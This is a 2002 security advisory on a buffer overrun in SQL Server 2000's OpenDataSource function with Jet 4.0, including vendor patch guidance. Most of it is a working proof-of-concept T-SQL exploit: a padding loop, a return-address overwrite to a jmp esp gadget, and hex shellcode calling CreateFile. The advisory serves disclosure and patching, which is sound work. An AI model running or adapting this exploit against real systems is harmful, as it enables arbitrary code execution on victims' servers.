Buffer Overrun Vulnerability in Microsoft SQL Server 2000

Reported June 19, 2002, by NextGeneration Security Software.

VERSIONS AFFECTED

DESCRIPTION

A vulnerability exists in SQL Server 2000 when used inconjunction with the Microsoft Jet 4.0 database engine that can lead to anattacker executing arbitrary code on the vulnerable system. This vulnerabilitystems from a remotely exploitable bufferoverrun in the OpenDataSource function.

DEMONSTRATION

The discoverer posted the following code asproof-of-concept:

Simple Proof of Concept

***********************

This Transact SQL Script will create a file called "SQL-ODSJET-BO" on the root of the C: drive

on Windows 2000 SP 2 machines

-------8<---------

-- Simple Proof of Concept

-- Exploits a buffer overrun in OpenDataSource()

--

-- Demonstrates how to exploit a UNICODE overflow using T-SQL

-- Calls CreateFile() creating a file called c:SQL-ODSJET-BO

-- I'm overwriting the saved return address with 0x42B0C9DC

-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2

-- The address holds a jmp esp instruction.

--

-- To protect against this overflow download the latest Jet Service 

-- pack from Microsoft - http://www.microsoft.com/

-- 

-- David Litchfield ([email protected])

-- 19th June 2002

declare @exploit nvarchar(4000)

declare @padding nvarchar(2000)

declare @saved_return_address nvarchar(20)

declare @code nvarchar(1000)

declare @pad nvarchar(16)

declare @cnt int

declare @more_pad nvarchar(100)

select @cnt = 0

select @padding = 0x41414141

select @pad = 0x4141

while @cnt < 1063

begin 

                select @padding = @padding + @pad

                select @cnt = @cnt + 1

end

-- overwrite the saved return address

select @saved_return_address = 0xDCC9B042

select @more_pad = 0x4343434344444444454545454646464647474747

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K Sp2

-- change if running a different service pack

select @code = 0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0C05052B8876FE877FFD0CCCCCCCCCC

select @exploit = N'SELECT * FROM OpenDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:'

select @exploit = @exploit + @padding + @saved_return_address + @more_pad + @code

select @exploit = @exploit + N'";User ID=Admin;Password=;Extended properties=Excel 5.0'')...xactions'

exec (@exploit)

------->8---------

VENDOR RESPONSE

Thevendor, Microsoft, recommends thataffected users apply the patchmentioned in the Microsoft article "ACC2002: Updated Version of MicrosoftJet 4.0 Available in Download Center," Q282010.

CREDIT
Discoveredby Mark Litchfield of Next GenerationSecurity Software.